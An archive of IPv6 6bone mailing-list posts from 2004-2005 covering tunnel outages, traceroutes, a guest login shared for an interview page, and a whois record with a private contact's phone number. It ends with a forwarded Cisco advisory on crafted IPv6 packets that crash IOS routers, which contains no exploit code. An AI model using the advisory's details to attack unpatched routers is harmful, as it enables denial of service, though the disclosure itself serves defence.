Yes, the 6bone web site isn't responding. Thanks for notifying hexago.


Bob

===
At 04:19 AM 11/1/2004, Jeroen Massar wrote:
>On Mon, 2004-11-01 at 12:48 +0200, Hank Nussbacher wrote:
> > What happened to http://www.6bone.net/ ?
>
>It should be at Hexago (http://www.hexago.com), which does seem
>reachable. Maybe a vhost/machine that went out of order there?
>IPv6 doesn't even trace to Hexago at the moment.
>
>Could be a intermedient problem, one never knows, I've added
>support@hexago.com to the To line, maybe they can fix this?
>
>Btw any support folks, see http://www.sixxs.net/tools/grh/ and please
>donate your view so that we can at least rule out the "they are actually
>not announcing" or the "they don't have a route back" problems.
>
>Greets,
>  Jeroen
>
>--
>IPv6 to 6bone.net (2001:5c0:0:2::24 / hexago.com 2001:5c0:0:1::2):
>
>  5  ge-0-1-0-0-v189.ipv6.rtr1.ams-rb.io.nl (2001:1460:2000::1)  5.063 ms
>5.157 ms  4.984 ms
>  6  xl0.ipv6-tun-rtr1.rb.io.nl (2001:1460:2000:1::58)  4.953 ms  4.772
>ms  5.258 ms
>  7  2001:5a0:200::11 (2001:5a0:200::11)  6.411 ms  6.492 ms  6.306 ms
>  8  2001:5a0:300::1 (2001:5a0:300::1)  91.999 ms  92.042 ms  92.13 ms
>
>to 6bone.net: 209.71.226.24
>  5  PO6-0.Ams-Koo-core-2.interoute.net (212.23.41.145) [MPLS: Label 75
>Exp 0]  101 ms  207 ms  208 ms
>  6  PO9-1.Lon-Kie-core-1.interoute.net (212.23.41.154)  89 ms  88 ms  88
>ms
>  7  PO2-0.NYC-002-inter-2.interoute.net (212.23.43.174) [MPLS: Label 17
>Exp 0]  88 ms  89 ms  96 ms
>  8  PO2-1.NYC-002-inter-2.interoute.net (212.23.43.170)  88 ms  88 ms
>88 ms
>  9  * * *
>10  66.59.191.177 (66.59.191.177)  95 ms  96 ms  95 ms
>11  h216-18-72-73.gtcust.grouptelecom.net (216.18.72.73)  96 ms  96 ms
>96 ms
>12  * * *
>
>
>--
>to www.hexago.com: 209.71.226.2
>
>  5  PO6-0.Ams-Koo-core-2.interoute.net (212.23.41.145) [MPLS: Label 75
>Exp 0]  88 ms  88 ms  88 ms
>  6  PO9-1.Lon-Kie-core-1.interoute.net (212.23.41.154)  88 ms  89 ms  88
>ms
>  7  PO2-0.NYC-002-inter-2.interoute.net (212.23.43.174) [MPLS: Label 17
>Exp 0]  88 ms  88 ms  88 ms
>  8  PO2-1.NYC-002-inter-2.interoute.net (212.23.43.170)  88 ms  88 ms
>88 ms
>  9  * * *
>10  66.59.191.177 (66.59.191.177)  96 ms  95 ms  95 ms
>11  h216-18-72-73.gtcust.grouptelecom.net (216.18.72.73)  96 ms  95 ms
>95 ms
>12  h66-201-212-225.gtconnect.net (66.201.212.225)  101 ms  100 ms  100
>ms
>13  * sonata.hexago.com (209.71.226.2)  100 ms *
>
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone



From old_mc_donald@hotmail.com Sun Nov 28 03:08:16 2004
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Subject: Re: [6bone] My Ipv6 website update
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Thanks for letting me know,

I did have a fair idea, the connection from Hexago is very sporadic since 
the
move to their new server. The tspc service for XP SP2 I think is not as good
as previous connections, I keep getting timeouts and Socket Errors so the 
tunnel
keeps dropping.

Sometimes the connection  will last a couple of days and other times only a 
couple
of hours.

When I get the time I will inform them and see if anything can be done about 
it.

Gav...

----- Original Message ----- 
From: "Black Dew" <bdew@bdew.yi.org>
To: <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Sunday, November 28, 2004 1:45 AM
Subject: [6bone] My Ipv6 website update


| Heya!
|
| I've stumbled on a month old email in the 6bone mailing list from you
| about your site (minitutorials.com). Just wanted to tell you that it
| still doesn't work, it gets ito a routing loop:
|
| gw:/home/bdew# tracepath6 2001:5c0:8fff:fffe::367
|  1?: [LOCALHOST]                      pmtu 1440
|  1:  2001:5c0:8fff:fffe::de4                  192.582ms
|  2:  tu-0.viagenie.mlpsca01.us.b6.verio.net   193.630ms
|  3:  2001:5c0:8fff:fffe::de4                  asymm  1 219.145ms
|  4:  tu-0.viagenie.mlpsca01.us.b6.verio.net   asymm  2 238.327ms
|
| and so on.
|
| 2001:5c0:8fff:fffe::de4 is the remote endpoint of my tunell to hexago.
|
| Sorry if this is old news.
|
| PS: I'm CCing this to the list but i'm not yet on the list mysef
| (awaiting aproval by the moderator) so if you reply to the list cc me a
| copy.
|
| -- 
| Best regards, Black Dew.
| ==============================
| ~ bdew@bdew.yi.org ~ ICQ:2666606 ~ 2:400/567 ~
|
|


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.799 / Virus Database: 543 - Release Date: 19/11/2004 

From old_mc_donald@hotmail.com Sun Nov 28 03:08:17 2004
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Thanks for letting me know,

I did have a fair idea, the connection from Hexago is very sporadic since 
the
move to their new server. The tspc service for XP SP2 I think is not as good
as previous connections, I keep getting timeouts and Socket Errors so the 
tunnel
keeps dropping.

Sometimes the connection  will last a couple of days and other times only a 
couple
of hours.

When I get the time I will inform them and see if anything can be done about 
it.

Gav...

----- Original Message ----- 
From: "Black Dew" <bdew@bdew.yi.org>
To: <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Sunday, November 28, 2004 1:45 AM
Subject: [6bone] My Ipv6 website update


| Heya!
|
| I've stumbled on a month old email in the 6bone mailing list from you
| about your site (minitutorials.com). Just wanted to tell you that it
| still doesn't work, it gets ito a routing loop:
|
| gw:/home/bdew# tracepath6 2001:5c0:8fff:fffe::367
|  1?: [LOCALHOST]                      pmtu 1440
|  1:  2001:5c0:8fff:fffe::de4                  192.582ms
|  2:  tu-0.viagenie.mlpsca01.us.b6.verio.net   193.630ms
|  3:  2001:5c0:8fff:fffe::de4                  asymm  1 219.145ms
|  4:  tu-0.viagenie.mlpsca01.us.b6.verio.net   asymm  2 238.327ms
|
| and so on.
|
| 2001:5c0:8fff:fffe::de4 is the remote endpoint of my tunell to hexago.
|
| Sorry if this is old news.
|
| PS: I'm CCing this to the list but i'm not yet on the list mysef
| (awaiting aproval by the moderator) so if you reply to the list cc me a
| copy.
|
| -- 
| Best regards, Black Dew.
| ==============================
| ~ bdew@bdew.yi.org ~ ICQ:2666606 ~ 2:400/567 ~
|
|


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.799 / Virus Database: 543 - Release Date: 19/11/2004 

From old_mc_donald@hotmail.com Sun Nov 28 03:08:18 2004
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To: "Black Dew" <bdew@bdew.yi.org>
References: <41A8BD37.1010309@bdew.yi.org>
Subject: Re: [6bone] My Ipv6 website update
Date: Sun, 28 Nov 2004 19:06:37 +0800
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Thanks for letting me know,

I did have a fair idea, the connection from Hexago is very sporadic since 
the
move to their new server. The tspc service for XP SP2 I think is not as good
as previous connections, I keep getting timeouts and Socket Errors so the 
tunnel
keeps dropping.

Sometimes the connection  will last a couple of days and other times only a 
couple
of hours.

When I get the time I will inform them and see if anything can be done about 
it.

Gav...

----- Original Message ----- 
From: "Black Dew" <bdew@bdew.yi.org>
To: <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Sunday, November 28, 2004 1:45 AM
Subject: [6bone] My Ipv6 website update


| Heya!
|
| I've stumbled on a month old email in the 6bone mailing list from you
| about your site (minitutorials.com). Just wanted to tell you that it
| still doesn't work, it gets ito a routing loop:
|
| gw:/home/bdew# tracepath6 2001:5c0:8fff:fffe::367
|  1?: [LOCALHOST]                      pmtu 1440
|  1:  2001:5c0:8fff:fffe::de4                  192.582ms
|  2:  tu-0.viagenie.mlpsca01.us.b6.verio.net   193.630ms
|  3:  2001:5c0:8fff:fffe::de4                  asymm  1 219.145ms
|  4:  tu-0.viagenie.mlpsca01.us.b6.verio.net   asymm  2 238.327ms
|
| and so on.
|
| 2001:5c0:8fff:fffe::de4 is the remote endpoint of my tunell to hexago.
|
| Sorry if this is old news.
|
| PS: I'm CCing this to the list but i'm not yet on the list mysef
| (awaiting aproval by the moderator) so if you reply to the list cc me a
| copy.
|
| -- 
| Best regards, Black Dew.
| ==============================
| ~ bdew@bdew.yi.org ~ ICQ:2666606 ~ 2:400/567 ~
|
|


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.799 / Virus Database: 543 - Release Date: 19/11/2004 

From old_mc_donald@hotmail.com Sun Nov 28 03:08:20 2004
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To: "Black Dew" <bdew@bdew.yi.org>
References: <41A8BD37.1010309@bdew.yi.org>
Subject: Re: [6bone] My Ipv6 website update
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Thanks for letting me know,

I did have a fair idea, the connection from Hexago is very sporadic since 
the
move to their new server. The tspc service for XP SP2 I think is not as good
as previous connections, I keep getting timeouts and Socket Errors so the 
tunnel
keeps dropping.

Sometimes the connection  will last a couple of days and other times only a 
couple
of hours.

When I get the time I will inform them and see if anything can be done about 
it.

Gav...

----- Original Message ----- 
From: "Black Dew" <bdew@bdew.yi.org>
To: <old_mc_donald@hotmail.com>
Cc: <6bone@mailman.isi.edu>
Sent: Sunday, November 28, 2004 1:45 AM
Subject: [6bone] My Ipv6 website update


| Heya!
|
| I've stumbled on a month old email in the 6bone mailing list from you
| about your site (minitutorials.com). Just wanted to tell you that it
| still doesn't work, it gets ito a routing loop:
|
| gw:/home/bdew# tracepath6 2001:5c0:8fff:fffe::367
|  1?: [LOCALHOST]                      pmtu 1440
|  1:  2001:5c0:8fff:fffe::de4                  192.582ms
|  2:  tu-0.viagenie.mlpsca01.us.b6.verio.net   193.630ms
|  3:  2001:5c0:8fff:fffe::de4                  asymm  1 219.145ms
|  4:  tu-0.viagenie.mlpsca01.us.b6.verio.net   asymm  2 238.327ms
|
| and so on.
|
| 2001:5c0:8fff:fffe::de4 is the remote endpoint of my tunell to hexago.
|
| Sorry if this is old news.
|
| PS: I'm CCing this to the list but i'm not yet on the list mysef
| (awaiting aproval by the moderator) so if you reply to the list cc me a
| copy.
|
| -- 
| Best regards, Black Dew.
| ==============================
| ~ bdew@bdew.yi.org ~ ICQ:2666606 ~ 2:400/567 ~
|
|


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.799 / Virus Database: 543 - Release Date: 19/11/2004 

From askoorb@fastmail.fm Sun Nov 28 07:31:17 2004
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Date: Sun, 28 Nov 2004 15:30:56 +0000
From: Alex Brooks <askoorb@fastmail.fm>
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Gav wrote:

> move to their new server. The tspc service for XP SP2 I think is not 
> as good
> as previous connections, I keep getting timeouts and Socket Errors so 
> the tunnel
> keeps dropping.
>
> Sometimes the connection  will last a couple of days and other times 
> only a couple
> of hours.
>
> | I've stumbled on a month old email in the 6bone mailing list from you
> | about your site (minitutorials.com). Just wanted to tell you that it
> | still doesn't work, it gets ito a routing loop
>  
>

This may sound a little stupid, but I have had a few problems myself 
with tunnelling through on XP SP2, and found that disabling the QoS 
(Quality of Service) Packet Scheduler helped.  I'm not sure if it was 
eating IPv6 packets or something...

The Packet scheduler "provides network traffic control, including rate 
of flow and prioritization services."  It can be disabled from the 
connection properties dialog box.

Anyhow, give it a shot and see if it helps.

Thanks

Alex


From old_mc_donald@hotmail.com Sun Nov 28 17:25:17 2004
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I have disabled QOS for now, I have also heard negative things about the way 
QOS works before.
I will see if things improve.

Cheers

Gav...

----- Original Message ----- 
From: "Alex Brooks" <askoorb@fastmail.fm>
To: <6bone@mailman.isi.edu>
Sent: Sunday, November 28, 2004 11:30 PM
Subject: Re: [6bone] My Ipv6 website update


| Gav wrote:
|
| > move to their new server. The tspc service for XP SP2 I think is not
| > as good
| > as previous connections, I keep getting timeouts and Socket Errors so
| > the tunnel
| > keeps dropping.
| >
| > Sometimes the connection  will last a couple of days and other times
| > only a couple
| > of hours.
| >
| > | I've stumbled on a month old email in the 6bone mailing list from you
| > | about your site (minitutorials.com). Just wanted to tell you that it
| > | still doesn't work, it gets ito a routing loop
| >
| >
|
| This may sound a little stupid, but I have had a few problems myself
| with tunnelling through on XP SP2, and found that disabling the QoS
| (Quality of Service) Packet Scheduler helped.  I'm not sure if it was
| eating IPv6 packets or something...
|
| The Packet scheduler "provides network traffic control, including rate
| of flow and prioritization services."  It can be disabled from the
| connection properties dialog box.
|
| Anyhow, give it a shot and see if it helps.
|
| Thanks
|
| Alex
|
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|


---
Checked for Viruses (Viri) , Gav...
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: 6.0.799 / Virus Database: 543 - Release Date: 19/11/2004 

From wendy_vasquez26@latinmail.com Sat Dec  4 18:32:35 2004
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hola soy estudiante de Ingenieria en sistemas de la universidad ESPE de=
 ecuador y estoy hacienfo mi tesis sobre coneccion sobre IPv6.por favor=
 si me pueden ayudar a montar una wan con este protocolo=20

=A1S=E9 listo! Contrata el antivirus http://www.pandasoftware.es/tienda=
/?idpers=3D109&track=3D13920
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From hank@mail.iucc.ac.il Mon Dec 27 04:03:29 2004
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"An all IPv6 backbone was launched this weekend in China. 'CERNET2 is the
biggest next-generation Internet network in operation in the world and
connects 25 universities in 20 cities. The speed in the backbone network
reaches 2.5 to 10 gigabits per second and connects the universities at a
speed of 1 to 10 gigabits per second.' Here is a link to the story in the
English version of China Daily, the online news site in People's Republic
of China."

http://www.chinadaily.com.cn/english/doc/2004-12/27/content_403512.htm



From old_mc_donald@hotmail.com Sun Jan  2 16:05:48 2005
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Subject: [6bone] Bob Fink Interview
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Hi All, FYI

For those that are interested I did an email interview with Bob and 
published it to my site itgazette.com this week.

You will need to be logged in to view it at this time. You can log in using 
:-

Username : 6bonelist
Password : 6bonelist

This account will be deleted on 22nd January.

http://itgazette.com/issue_2/interview/bob_fink.php


www.minitutorials.com | www.itgazette.com



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Checked for Viruses (Viri) , Gav...
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From old_mc_donald@hotmail.com Wed Jan 12 14:24:42 2005
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Subject: [6bone] Unusual request
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Hi All,

A member of a forums board that I help to run has been having trouble trying 
to get a russian site to remove her material.
Basically a few months ago http://www.visual-format.net/ was cloned by two 
other sites, an English site (which has now been resolved)
and the russian site - http://www.01www.ru . It is identical, switch the 
mood of visual-format.net to green and the same images appear
as well as the layout, structure, CSS right down to the alt tags.

She has had no success contacting either the site (the contact name 
komas@komas.ru from RIPN just bounces back) nor has she had any response 
from the hosting ISP Agava.ru. This has been going on since November last 
year.

What should the next step be in this, who is higher up, who is providing 
backbone access to the ISP?

domain:     01WWW.RU
type:       CORPORATE
descr:      Domain for Web Server Hosted by AGAVA Software
nserver:    ns1.agava.net.ru.
nserver:    ns2.agava.net.ru.
state:      REGISTERED, DELEGATED
person:     Konyukhov Yuriy Mikhaylovich
phone:      +7 095 7300780
fax-no:     +7 095 7300780
e-mail:     komas@komas.ru
registrar:  GPT-REG-RIPN
created:    2004.10.13
paid-till:  2005.10.13
source:     TC-RIPN

Thanks

Gav...



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From xjping@mail.ustc.edu.cn Wed Jan  5 21:51:58 2005
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unsubscribe



From hank@mail.iucc.ac.il Wed Jan 26 08:18:54 2005
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Cc: 
Subject: [6bone] Fwd: Cisco Security Advisory: Multiple Crafted IPv6 Packets
 Cause Reload
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Ugh.  -Hank


>-----BEGIN PGP SIGNED MESSAGE-----
>Hash: SHA1
>
>Cisco Security Advisory: Multiple Crafted IPv6 Packets Cause Reload
>
>Revision 1.0
>
>For Public Release 2005 January 26 1600 UTC (GMT)
>
>- --------------------------------------------------------------------------
>
>Contents
>
>     Summary
>     Affected Products
>     Details
>     Impact
>     Software Versions and Fixes
>     Obtaining Fixed Software
>     Workarounds
>     Exploitation and Public Announcements
>     Status of This Notice: FINAL
>     Distribution
>     Revision History
>     Cisco Security Procedures
>
>- --------------------------------------------------------------------------
>
>Summary
>=======
>
>Cisco Internetwork Operating System (IOS) Software is vulnerable to a Denial
>of Service (DoS) attack from crafted IPv6 packets when the device has been
>configured to process IPv6 traffic. This vulnerability requires multiple
>crafted packets to be sent to the device which may result in a reload upon
>successful exploitation.
>
>Cisco has made free software available to address this vulnerability.
>
>There are workarounds available to mitigate the effects.
>
>This issue is tracked by CERT/CC VU#472582
>
>This advisory is available at 
>http://www.cisco.com/warp/public/707/cisco-sa-20050126-ipv6.shtml.
>
>Affected Products
>=================
>
>Vulnerable Products
>
>Only the Cisco devices running IOS and configured for IPv6 are affected. A
>router will display all IPv6 enabled interfaces with the show ipv6 interface
>command.
>
>An empty output or an error message will be displayed if IPv6 is disabled or
>unsupported on the system. In this case the system is not vulnerable.
>
>Sample output of show ipv6 interface command is shown below for a system
>configured for IPv6.
>
>       Router#show ipv6 interface
>       Serial1/0 is up, line protocol is up
>         IPv6 is enabled, link-local address is FE80::A8BB:CCFF:FE00:D200
>         Global unicast address(es):
>           2001:1:33::3, subnet is 2001:1:33::/64 [TENTATIVE]
>         Joined group address(es):
>           FF02::1
>           FF02::1:FF00:3
>           FF02::1:FF00:D200
>         MTU is 1500 bytes
>         ICMP error messages limited to one every 100 milliseconds
>         ICMP redirects are enabled
>         ND DAD is enabled, number of DAD attempts: 1
>         ND reachable time is 30000 milliseconds
>       Router#
>
>
>A router that has IPv6 enabled on a physical or logical interface is 
>vulnerable
>to this issue even if ipv6 unicast-routing is globally disabled. The show ipv6
>interface command can be used to determine whether IPv6 is enabled on any
>interface.
>
>Products Confirmed Not Vulnerable
>
>   * Products that are not running Cisco IOS are not affected.
>   * Products running any version of Cisco IOS that do not have IPv6 
> configured
>     interfaces are not vulnerable.
>
>No other Cisco products are currently known to be affected by these
>vulnerabilities.
>
>Details
>=======
>
>IPv6 is the "Internet Protocol Version 6", designed by the Internet 
>Engineering
>Task Force (IETF) to replace the current version Internet Protocol, IP Version
>4 (IPv4).
>
>A vulnerability exists in the processing of IPv6 packets that can be exploited
>to cause the reload of a system. Crafted packets received on logical 
>interfaces
>(that is, tunnels including 6to4 tunnels) as well as physical interfaces can
>trigger this vulnerability.
>
>Multiple crafted IPv6 packets need to be sent to exploit this vulnerability.
>Such crafted packets can be sent remotely.
>
>This issue is documented in Cisco bug ID CSCed40933 ( registered customers
>only) .
>
>Impact
>======
>
>Successful exploitation of this vulnerability results in a reload of the
>device. Repeated exploitation could result in a sustained DoS attack.
>
>Software Versions and Fixes
>===========================
>
>+-----------------------------------------------------+
>|   Major    |   Availability of Repaired Releases    |
>|  Release   |                                        |
>|------------+----------------------------------------|
>| Affected   |             |         |             |  |
>| 12.0-Based | Rebuild     | Interim | Maintenance |  |
>| Release    |             |         |             |  |
>|------------+-------------+---------+-------------+--|
>|            | 12.0(23)S   |         |             |  |
>|            | and before  |         |             |  |
>|            | are not     |         |             |  |
>|            | vulnerable. |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.0(24)S6  |         |             |  |
>|12.0S       |-------------+---------+-------------+--|
>|            | 12.0(25)S3  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.0(26)S2  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.0(27)S1  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            |             |         | 12.0(28)S   |  |
>|------------+-------------+---------+-------------+--|
>| 12.0SX     | 12.0(25)SX8 |         |             |  |
>|------------+-------------------------------------+--|
>| 12.0SZ     | 12.0(27)SZ                          |  |
>|------------+-------------------------------------+--|
>| Affected   |             |         |             |  |
>| 12.2-Based | Rebuild     | Interim | Maintenance |  |
>| Release    |             |         |             |  |
>|------------+-------------------------------------+--|
>|            | 12.2(2)B - 12.2(4)B7 Migrate to     |  |
>|            | 12.2(13)T14 or later                |  |
>|12.2B       |-------------------------------------+--|
>|            | 12.2(4)B8 AND FWD Migrate to 12.3   |  |
>|            | (7)T or later                       |  |
>|------------+-------------------------------------+--|
>| 12.2BC     | Migrate to 12.3(9a)BC               |  |
>|------------+-------------------------------------+--|
>| 12.2BX     | Migrate to 12.3(7)XI1               |  |
>|------------+-------------------------------------+--|
>| 12.2BZ     | Migrate to 12.3(7)XI1               |  |
>|------------+-------------------------------------+--|
>| 12.2CX     | No plan.                            |  |
>|------------+-------------------------------------+--|
>| 12.2CZ     | No plan.                            |  |
>|------------+-------------------------------------+--|
>| 12.2EW     | 12.2(18)EW1                         |  |
>|------------+-------------------------------------+--|
>| 12.2EWA    |             |         | 12.2(20)EWA |  |
>|------------+-------------+---------+-------------+--|
>| 12.2JK     | 12.2(15)JK2 |         |             |  |
>|------------+-------------------------------------+--|
>| 12.2MC     | Migrate to 12.3(11)T                |  |
>|------------+-------------------------------------+--|
>|            | 12.2(14)S9  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.2(18)S5  |         |             |  |
>|            |-------------+---------+-------------+--|
>| 12.2S      | 12.2(20)S3  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.2(22)S1  |         |             |  |
>|            |-------------+---------+-------------+--|
>|            |             |         | 12.2(25)S   |  |
>|------------+-------------------------------------+--|
>| 12.2SE     | 12.2(25)SE                          |  |
>|------------+-------------------------------------+--|
>| 12.2SU     | 12.2(14)SU1 |         |             |  |
>|------------+-------------------------------------+--|
>| 12.2SV     | 12.2(23)SV                          |  |
>|------------+-------------------------------------+--|
>| 12.2SW     | 12.2(23)SW                          |  |
>|------------+-------------------------------------+--|
>| 12.2SX     | Migrate to 12.2(17d)SXB2 or later   |  |
>|------------+-------------------------------------+--|
>| 12.2SXA    | Migrate to 12.2(17d)SXB1 or later   |  |
>|------------+-------------------------------------+--|
>| 12.2SXB    | 12.2(17d)   |         |             |  |
>|            | SXB1        |         |             |  |
>|------------+-------------+---------+-------------+--|
>| 12.2SXD    |             |         | 12.2(18)SXD |  |
>|------------+-------------------------------------+--|
>| 12.2SY     | Migrate to 12.2(17d)SXB2 or later   |  |
>|------------+-------------------------------------+--|
>| 12.2SZ     | Migrate to 12.2(20)S4               |  |
>|------------+-------------------------------------+--|
>|            | 12.2(13)T14 |         |             |  |
>|12.2T       |-------------+---------+-------------+--|
>|            | 12.2(15)T12 |         |             |  |
>|------------+-------------------------------------+--|
>| 12.2YT     | Migrate to 12.2(15)T13 or later     |  |
>|------------+-------------------------------------+--|
>| 12.2YU     | Migrate to 12.3(4)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2YV     | Migrate to 12.3(4)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2YZ     | Migrate to 12.2(20)S4 or later      |  |
>|------------+-------------------------------------+--|
>| 12.2ZC     | Migrate to 12.3T or later           |  |
>|------------+-------------------------------------+--|
>| 12.2ZD     | Migrate to 12.3 or later            |  |
>|------------+-------------------------------------+--|
>| 12.2ZE     | Migrate to 12.3 or later            |  |
>|------------+-------------------------------------+--|
>| 12.2ZF     | Migrate to 12.3(4)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2ZG     | Migrate to 12.3(4)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2ZH     | Migrate to 12.3(4)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2ZI     | Migrate to 12.2(18)S or later       |  |
>|------------+-------------------------------------+--|
>| 12.2ZJ     | Migrate to 12.3 or later            |  |
>|------------+-------------------------------------+--|
>| 12.2ZL     | Migrate to 12.3(7)T or later        |  |
>|------------+-------------------------------------+--|
>| 12.2ZN     | Migrate to 12.3(2)T6 or later       |  |
>|------------+-------------------------------------+--|
>| 12.2ZO     | Migrate to 12.2(15)T12 or later     |  |
>|------------+-------------------------------------+--|
>| 12.2ZP     | Migrate to 12.3(8)XY or later       |  |
>|------------+-------------------------------------+--|
>| Affected   |             |         |             |  |
>| 12.3-Based | Rebuild     | Interim | Maintenance |  |
>| Release    |             |         |             |  |
>|------------+-------------+---------+-------------+--|
>|            | 12.3(3f)    |         |             |  |
>|            |-------------+---------+-------------+--|
>|            | 12.3(5c)    |         |             |  |
>|12.3        |-------------+---------+-------------+--|
>|            | 12.3(6a)    |         |             |  |
>|            |-------------+---------+-------------+--|
>|            |             |         | 12.3(9)     |  |
>|------------+-------------+---------+-------------+--|
>| 12.3BC     |             |         | 12.3(9a)BC  |  |
>|------------+-------------+---------+-------------+--|
>| 12.3B      | 12.3(5a)B2  |         |             |  |
>|------------+-------------------------------------+--|
>| 12.3BW     | Migrate to 12.3(5a)B2 or later      |  |
>|------------+-------------------------------------+--|
>| 12.3JA     |             |         | 12.3(2)JA   |  |
>|------------+-------------+---------+-------------+--|
>|            | 12.3(2)T6   |         |             |  |
>|            |-------------+---------+-------------+--|
>| 12.3T      | 12.3(4)T6   |         |             |  |
>|            |-------------+---------+-------------+--|
>|            |             |         | 12.3(7)T    |  |
>|------------+-------------------------------------+--|
>| 12.3XA     | Migrate to 12.3(7)T or later        |  |
>|------------+-------------------------------------+--|
>| 12.3XB     | Migrate to 12.3(8)T or later        |  |
>|------------+-------------------------------------+--|
>| 12.3XC     | Migrate 12.3(2)XC3 or later         |  |
>|------------+-------------------------------------+--|
>| 12.3XD     | 12.3(4)XD4  |         |             |  |
>|------------+-------------------------------------+--|
>| 12.3XE     | 12.3(2)XE1                          |  |
>|------------+-------------------------------------+--|
>| 12.3XF     | Migrate to 12.3(11)T or later       |  |
>|------------+-------------------------------------+--|
>| 12.3XG     | 12.3(4)XG2  |         |             |  |
>|------------+-------------------------------------+--|
>| 12.3XH     | Migrate to 12.3(11)T or later       |  |
>|------------+-------------------------------------+--|
>| 12.3XI     |             |         | 12.3(7)XI   |  |
>|------------+-------------------------------------+--|
>| 12.3XJ     | 12.3(7)XJ                           |  |
>|------------+-------------------------------------+--|
>| 12.3XK     | 12.3(4)XK1  |         |             |  |
>|------------+-------------+---------+-------------+--|
>| 12.3XL     |             |         | 12.3(7)XL   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3XM     |             |         | 12.3(7)XM   |  |
>|------------+-------------------------------------+--|
>| 12.3XN     | Migrate to 12.3(14)T or later       |  |
>|------------+-------------------------------------+--|
>| 12.3XQ     | 12.3(4)XQ                           |  |
>|------------+-------------------------------------+--|
>| 12.3XR     |             |         | 12.3(7)XR   |  |
>|------------+-------------------------------------+--|
>| 12.3XS     | 12.3(7)XS                           |  |
>|------------+-------------------------------------+--|
>| 12.3XT     | 12.3(2)XT                           |  |
>|------------+-------------------------------------+--|
>| 12.3XU     | 12.3(8)XU                           |  |
>|------------+-------------------------------------+--|
>| 12.3XX     |             |         | 12.3(8)XX   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3XW     |             |         | 12.3(8)XW   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3XY     |             |         | 12.3(8)XY   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3XZ     |             |         | 12.3(2)XZ   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YA     |             |         | 12.3(8)YA   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YD     |             |         | 12.3(8)YD   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YE     |             |         | 12.3(4)YE   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YF     |             |         | 12.3(11)YF  |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YG     |             |         | 12.3(8)YG   |  |
>|------------+-------------+---------+-------------+--|
>| 12.3YH     |             |         | 12.3(8)YH   |  |
>+-----------------------------------------------------+
>
>When considering software upgrades, please also consult 
>http://www.cisco.com/en
>/US/products/products_security_advisories_listing.html and any subsequent
>advisories to determine exposure and a complete upgrade solution.
>
>In all cases, customers should exercise caution to be certain the devices 
>to be
>upgraded contain sufficient memory and that current hardware and software
>configurations will continue to be supported properly by the new release. If
>the information is not clear, contact the Cisco Technical Assistance Center
>(TAC) for assistance.
>
>Obtaining Fixed Software
>========================
>
>Customers with Service Contracts
>
>Customers with contracts should obtain upgraded software through their regular
>update channels. For most customers, this means that upgrades should be
>obtained through the Software Center on Cisco's worldwide website at http://
>www.cisco.com.
>
>Customers using Third-party Support Organizations
>
>Customers whose Cisco products are provided or maintained through prior or
>existing agreement with third-party support organizations such as Cisco
>Partners, authorized resellers, or service providers should contact that
>support organization for assistance with the upgrade, which should be free of
>charge.
>
>Customers without Service Contracts
>
>Customers who purchase direct from Cisco but who do not hold a Cisco service
>contract and customers who purchase through third-party vendors but are
>unsuccessful at obtaining fixed software through their point of sale 
>should get
>their upgrades by contacting the Cisco Technical Assistance Center (TAC). TAC
>contacts are as follows.
>
>   * +1 800 553 2447 (toll free from within North America)
>   * +1 408 526 7209 (toll call from anywhere in the world)
>   * e-mail: tac@cisco.com
>
>Please have your product serial number available and give the URL of this
>notice as evidence of your entitlement to a free upgrade. Free upgrades for
>non-contract customers must be requested through the TAC.
>
>Please do not contact either "psirt@cisco.com" or "security-alert@cisco.com"
>for software upgrades.
>
>See http://www.cisco.com/warp/public/687/Directory/DirTAC.shtml for additional
>TAC contact information, including special localized telephone numbers and
>instructions and e-mail addresses for use in various languages.
>
>Customers may only install and expect support for the feature sets they have
>purchased. By installing, downloading, accessing or otherwise using such
>software upgrades, customers agree to be bound by the terms of Cisco's 
>software
>license terms found at http://www.cisco.com/public/sw-license-agreement.html,
>or as otherwise set forth at Cisco.com Downloads at 
>http://www.cisco.com/public
>/sw-center/sw-usingswc.shtml.
>
>Workarounds
>===========
>
>The effectiveness of any workaround is dependent on specific customer
>situations such as product mix, network topology, traffic behavior, and
>organizational mission. Due to the variety of affected products and releases,
>customers should consult with their service provider or support 
>organization to
>ensure any applied workaround is the most appropriate for use in the intended
>network before it is deployed.
>
>Although it is often difficult to block traffic transiting your network, it is
>possible to identify traffic which should never be allowed to target your
>infrastructure devices and block that traffic at the border of your network.
>Infrastructure access control lists (ACLs) are considered a network security
>best practice and should be considered as a long-term addition to good network
>security as well as a workaround for this specific vulnerability. The white
